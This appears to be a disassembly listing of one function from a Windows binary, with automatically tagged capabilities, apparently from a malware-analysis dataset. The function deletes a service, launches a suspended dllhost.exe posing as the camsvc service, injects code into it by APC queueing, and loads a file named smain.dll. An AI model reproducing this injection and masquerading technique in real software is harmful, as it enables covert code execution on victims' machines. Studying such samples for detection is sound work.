Function at 0x140007890
Capabilities:
Accept command line arguments
Create process on windows
Create process suspended
Delete service
Get file size
Inject apc
Read file on windows
Resume thread
Use process replacement

Disassembly:
push rsi
push rdi
sub rsp, 0x8a8
mov rax, qword [0x140093020]
xor rax, rsp
mov qword [rsp + 0x890], rax
call fcn.140007650
test eax, eax
jne 0x140007a29
call fcn.140007440
test eax, eax
jne 0x1400079a5
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x54]
call fcn.140007ee0
mov rcx, rax
call fcn.1400082e0
mov rcx, rax
call fcn.140006720
mov r8d, 0x104
lea rdx, [rsp + 0x670]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [rsp + 0x1a0], 0x70
mov dword [rsp + 0x1a4], 0
mov qword [rsp + 0x1a8], 0
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x55]
call fcn.140007f80
mov rcx, rax
call fcn.1400082c0
mov qword [rsp + 0x1b0], rax
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x56]
call fcn.140008020
mov rcx, rax
call fcn.1400082a0
mov qword [rsp + 0x1c0], rax
lea rax, [rsp + 0x670]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c8], 0
mov dword [rsp + 0x1d0], 0
mov qword [rsp + 0x1d8], 0
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov qword [rsp + 0x80], rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x57]
call fcn.140006c30
mov rcx, rax
call fcn.140008380
mov r8d, 0xf01ff
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
je 0x140007a1f
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140006a10
jmp 0x140007e46
mov dword [rsp + 0x210], 0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x210]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0xc8], rax
cmp dword [rsp + 0x210], 1
jle 0x140007e02
call fcn.1400074f0
lea rax, [rsp + 0x240]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x180]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x58]
call fcn.140008050
mov rcx, rax
call fcn.140008340
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x130]
lea rcx, str.dllhost.exe__k_appmodel__p__s_camsvc
mov rdi, rax
mov rsi, rcx
mov ecx, 0x4a
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x59]
call fcn.1400080f0
mov rcx, rax
call fcn.140008260
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x240]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x214], 0xffffffff
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rsp + 0x214]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x5a]
call fcn.140008120
mov rcx, rax
call fcn.1400082c0
mov rdx, rax
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x188]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0xf0]
call fcn.140007790
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0x98]
call fcn.140002ee0
mov r8, rax
lea rdx, str._smain.dll
lea rcx, [rsp + 0x780]
call fcn.140006880
lea rcx, [rsp + 0xf0]
call fcn.140002f90
mov edx, 0x398
lea rcx, [rsp + 0x2b0]
call fcn.1400028b0
lea rcx, [rsp + 0x2b0]
call fcn.140012480
nop
mov r8d, 0xd7b
mov edx, dword [rsp + 0x190]
lea rcx, [rsp + 0x2b0]
call fcn.1400127c0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 7
mov edx, 0x120089
lea rcx, [rsp + 0x780]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0xffffffffffffffff
je 0x140007d4f
mov dword [rsp + 0x218], 0
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x218]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x2b0]
call fcn.1400069c0
mov qword [rsp + 0xa0], rax
mov edx, 0x10000
mov ecx, 0x8000
call fcn.1400069a0
mov edx, 0x20000
mov ecx, eax
call fcn.1400069a0
mov edx, 0x100
mov ecx, eax
call fcn.1400069a0
mov edx, 2
mov ecx, eax
call fcn.1400069a0
mov dword [rsp + 0x78], eax
movsxd rax, dword [rsp + 0x50]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov ecx, dword [rsp + 0x78]
mov dword [rsp + 0x28], ecx
mov byte [rsp + 0x20], 0
mov r9, qword [rsp + 0x70]
mov r8, rax
lea rdx, [rsp + 0x220]
mov rcx, qword [rsp + 0xa0]
call fcn.140009620
lea rcx, [rsp + 0x220]
call fcn.140008150
nop
lea rcx, [rsp + 0x2b0]
call fcn.1400126b0
jmp 0x140007e46
lea rax, str.SaiKoak
mov qword [rsp + 0x650], rax
lea rax, [0x1400069e0]
mov qword [rsp + 0x658], rax
mov qword [rsp + 0x660], 0
mov qword [rsp + 0x668], 0
lea rcx, [rsp + 0x650]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
xor eax, eax
mov rcx, qword [rsp + 0x890]
xor rcx, rsp
call fcn.1400433a0
add rsp, 0x8a8
pop rdi
pop rsi
ret